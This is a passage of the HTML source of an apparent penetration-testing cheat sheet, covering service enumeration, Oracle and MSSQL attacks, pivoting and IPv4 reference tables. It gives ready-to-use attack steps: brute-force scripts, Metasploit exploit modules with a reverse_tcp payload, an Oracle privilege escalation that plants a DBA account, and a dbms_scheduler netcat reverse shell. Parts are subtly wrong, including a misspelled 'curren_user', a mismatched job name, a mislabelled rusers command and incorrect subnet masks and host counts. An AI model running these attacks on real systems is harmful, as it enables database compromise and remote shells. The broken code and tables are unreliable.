&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;r-services-enumeration&quot;&gt;R Services Enumeration&lt;/h3&gt;

&lt;p&gt;This is legacy, included for completeness.&lt;/p&gt;

&lt;p&gt;nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:&lt;/p&gt;

&lt;h4 id=&quot;rsh-enumeration&quot;&gt;RSH Enumeration&lt;/h4&gt;
&lt;h5 id=&quot;rsh-run-commands&quot;&gt;RSH Run Commands&lt;/h5&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rsh &amp;lt;target&amp;gt; &amp;lt;command&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h5 id=&quot;metasploit-rsh-login-scanner&quot;&gt;Metasploit RSH Login Scanner&lt;/h5&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;auxiliary/scanner/rservices/rsh_login
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;rusers-show-logged-in-users&quot;&gt;rusers Show Logged in Users&lt;/h5&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rusers -al 192.168.2.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;rusers-scan-whole-subnet&quot;&gt;rusers scan whole Subnet&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rlogin -l &amp;lt;user&amp;gt; &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;e.g rlogin -l root TARGET-SUBNET/24&lt;/p&gt;

&lt;h3 id=&quot;finger-enumeration&quot;&gt;Finger Enumeration&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;finger @TARGET-IP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;finger-a-specific-username&quot;&gt;Finger a Specific Username&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;finger batman@TARGET-IP 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;solaris-bug-that-shows-all-logged-in-users&quot;&gt;Solaris bug that shows all logged in users:&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;finger 0@host  

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger &apos;a b c d e f g h&apos;@sunhost 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;rwho&quot;&gt;rwho&lt;/h3&gt;

&lt;p&gt;Use nmap to identify machines running rwhod (513 UDP)&lt;/p&gt;

&lt;h2 id=&quot;tls--ssl-testing&quot;&gt;TLS &amp;amp; SSL Testing&lt;/h2&gt;

&lt;h3 id=&quot;testsslsh&quot;&gt;testssl.sh&lt;/h3&gt;

&lt;p&gt;Test all the things on a single host and output to a .html file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha &amp;gt; OUTPUT-FILE.html  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;vulnerability-assessment&quot;&gt;Vulnerability Assessment&lt;/h2&gt;

&lt;p&gt;Install OpenVAS 8 on Kali Rolling:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Verify openvas is running using:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;netstat -tulpn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Login at https://127.0.0.1:9392 - credentials are generated during openvas-setup.&lt;/p&gt;

&lt;h2 id=&quot;database-penetration-testing&quot;&gt;Database Penetration Testing&lt;/h2&gt;

&lt;p&gt;Attacking database servers exposed on the network.&lt;/p&gt;

&lt;h3 id=&quot;oracle&quot;&gt;Oracle&lt;/h3&gt;

&lt;p&gt;Install oscanner:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get install oscanner  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Run oscanner:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;oscanner -s 192.168.1.200 -P 1521 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;fingerprint-oracle-tns-version&quot;&gt;Fingerprint Oracle TNS Version&lt;/h4&gt;

&lt;p&gt;Install tnscmd10g:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get install tnscmd10g
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Fingerprint oracle tns:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tnscmd10g version -h TARGET
nmap --script=oracle-tns-version 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;brute-force-oracle-user-accounts&quot;&gt;Brute force oracle user accounts&lt;/h4&gt;

&lt;p&gt;Identify default Oracle accounts:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; nmap --script=oracle-sid-brute 
 nmap --script=oracle-brute 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Run nmap scripts against Oracle TNS:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -p 1521 -A TARGET
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;oracle-privilege-escalation&quot;&gt;Oracle Privilege Escalation&lt;/h4&gt;

&lt;p&gt;Requirements:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Oracle needs to be exposed on the network&lt;/li&gt;
  &lt;li&gt;A default account is in use like scott&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quick overview of how this works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Create the function&lt;/li&gt;
  &lt;li&gt;Create an index on table SYS.DUAL&lt;/li&gt;
  &lt;li&gt;The index we just created executes our function SCOTT.DBA_X&lt;/li&gt;
  &lt;li&gt;The function will be executed by SYS user (as that’s the user that owns the table).&lt;/li&gt;
  &lt;li&gt;Create an account with DBA priveleges&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In the example below the user SCOTT is used but this should be possible with another default Oracle account.&lt;/p&gt;

&lt;h5 id=&quot;identify-default-accounts-within-oracle-db-using-nmap-nse-scripts&quot;&gt;Identify default accounts within oracle db using NMAP NSE scripts:&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap --script=oracle-sid-brute 
nmap --script=oracle-brute 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Login using the identified weak account (assuming you find one).&lt;/p&gt;

&lt;h5 id=&quot;how-to-identify-the-current-privilege-level-for-an-oracle-user&quot;&gt;How to identify the current privilege level for an oracle user:&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SQL&amp;gt; select * from session_privs; 

SQL&amp;gt; CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid 
curren_user is 
pragma autonomous_transaction; 
begin 
execute immediate &apos;grant dba to user1 identified by pass1&apos;;
commit;
return &apos;FOO&apos;;
end;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;oracle-priv-esc-and-obtain-dba-access&quot;&gt;Oracle priv esc and obtain DBA access:&lt;/h5&gt;

&lt;p&gt;Run netcat: &lt;code&gt;netcat -nvlp 443&lt;/code&gt;code&amp;gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SQL&amp;gt; create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA(&apos;BAR&apos;));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;run-the-exploit-with-a-select-query&quot;&gt;Run the exploit with a select query:&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SQL&amp;gt; Select * from session_privs; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should have a DBA user with creds user1 and pass1.&lt;/p&gt;

&lt;p&gt;Verify you have DBA privileges by re-running the first command again.&lt;/p&gt;

&lt;h5 id=&quot;remove-the-exploit-using&quot;&gt;Remove the exploit using:&lt;/h5&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;drop index exploit_1337; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h5 id=&quot;get-oracle-reverse-os-shell&quot;&gt;Get Oracle Reverse os-shell:&lt;/h5&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;begin
dbms_scheduler.create_job( job_name    =&amp;gt; &apos;MEH1337&apos;,job_type    =&amp;gt;
    &apos;EXECUTABLE&apos;,job_action =&amp;gt; &apos;/bin/nc&apos;,number_of_arguments =&amp;gt; 4,start_date =&amp;gt;
    SYSTIMESTAMP,enabled    =&amp;gt; FALSE,auto_drop =&amp;gt; TRUE); 
dbms_scheduler.set_job_argument_value(&apos;rev_shell&apos;, 1, &apos;TARGET-IP&apos;);
dbms_scheduler.set_job_argument_value(&apos;rev_shell&apos;, 2, &apos;443&apos;);
dbms_scheduler.set_job_argument_value(&apos;rev_shell&apos;, 3, &apos;-e&apos;);
dbms_scheduler.set_job_argument_value(&apos;rev_shell&apos;, 4, &apos;/bin/bash&apos;);
dbms_scheduler.enable(&apos;rev_shell&apos;); 
end; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;mssql&quot;&gt;MSSQL&lt;/h3&gt;

&lt;p&gt;Enumeration / Discovery:&lt;/p&gt;

&lt;p&gt;Nmap:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Metasploit:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use auxiliary/scanner/mssql/mssql_ping
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Use MS SQL Servers Browse For More&lt;/h5&gt;
  &lt;p&gt;Try using &quot;Browse for More&quot; via MS SQL Server Management Studio&lt;/p&gt;
&lt;/div&gt;

&lt;h4 id=&quot;bruteforce-mssql-login&quot;&gt;Bruteforce MSSQL Login&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use auxiliary/admin/mssql/mssql_enum
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;metasploit-mssql-shell&quot;&gt;Metasploit MSSQL Shell&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) &amp;gt; set PAYLOAD windows/meterpreter/reverse_tcp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;network&quot;&gt;Network&lt;/h2&gt;

&lt;h3 id=&quot;plinkexe-tunnel&quot;&gt;Plink.exe Tunnel&lt;/h3&gt;

&lt;p&gt;PuTTY Link tunnel&lt;/p&gt;

&lt;p&gt;Forward remote port to local address:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;plink.exe -P 22 -l root -pw &quot;1337&quot; -R 445:127.0.0.1:445 REMOTE-IP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;pivoting&quot;&gt;Pivoting&lt;/h3&gt;

&lt;h4 id=&quot;ssh-pivoting&quot;&gt;SSH Pivoting&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Add socks4 127.0.0.1 1010 in /etc/proxychains.conf&lt;/p&gt;

&lt;p&gt;SSH pivoting from one network to another:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Add socks4 127.0.0.1 1010 in /etc/proxychains.conf&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Add socks4 127.0.0.1 1011 in /etc/proxychains.conf&lt;/p&gt;

&lt;h4 id=&quot;meterpreter-pivoting&quot;&gt;Meterpreter Pivoting&lt;/h4&gt;

&lt;h3 id=&quot;ttl-finger-printing&quot;&gt;TTL Finger Printing&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Operating System&lt;/th&gt;
      &lt;th&gt;TTL Size&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;Windows&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;&lt;code&gt;128&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;Linux&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;&lt;code&gt;64&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;Solaris&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;&lt;code&gt;255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
     &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;Cisco / Network&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;ipv4-cheat-sheets&quot;&gt;IPv4 Cheat Sheets&lt;/h3&gt;

&lt;h4 id=&quot;classful-ip-ranges&quot;&gt;Classful IP Ranges&lt;/h4&gt;

&lt;p&gt;E.g Class A,B,C (depreciated)&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Class&lt;/th&gt;
      &lt;th&gt;IP Address Range&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;Class A IP Address Range&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;0.0.0.0 - 127.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;Class B IP Address Range&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;128.0.0.0 - 191.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;Class C IP Address Range&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;192.0.0.0 - 223.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;Class D IP Address Range&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;224.0.0.0 - 239.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;Class E IP Address Range&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;240.0.0.0 - 255.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h4 id=&quot;ipv4-private-address-ranges&quot;&gt;IPv4 Private Address Ranges&lt;/h4&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Class&lt;/th&gt;
      &lt;th&gt;Range&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;Class A Private Address Range&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;10.0.0.0 - 10.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;Class B Private Address Range&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;172.16.0.0 - 172.31.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;Class C Private Address Range&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;192.168.0.0 - 192.168.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;  
      &lt;td&gt;
        &lt;p&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;127.0.0.0 - 127.255.255.255&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h4 id=&quot;ipv4-subnet-cheat-sheet&quot;&gt;IPv4 Subnet Cheat Sheet&lt;/h4&gt;

&lt;p&gt;Subnet cheat sheet, not really realted to pen testing but a useful reference.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;CIDR&lt;/th&gt;
      &lt;th&gt;Decimal Mask&lt;/th&gt;
      &lt;th&gt;Number of Hosts&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/31&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.255.254&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;1 Host&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/30&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.255.252&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;2 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/29&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.255.249&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;6 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/28&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.255.240&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;14 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/27&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.255.224&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;30 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/26&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.255.192&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;62 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/25&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.255.128&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;126 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/24&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.255.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;254 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/23&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.254.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;512 Host&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/22&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.252.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;1022 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/21&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.248.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;2046 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/20&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.240.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;4094 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/19&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.224.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;8190 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/18&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.192.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;16382 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;/17&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;255.255.128.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;32766 Hosts&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

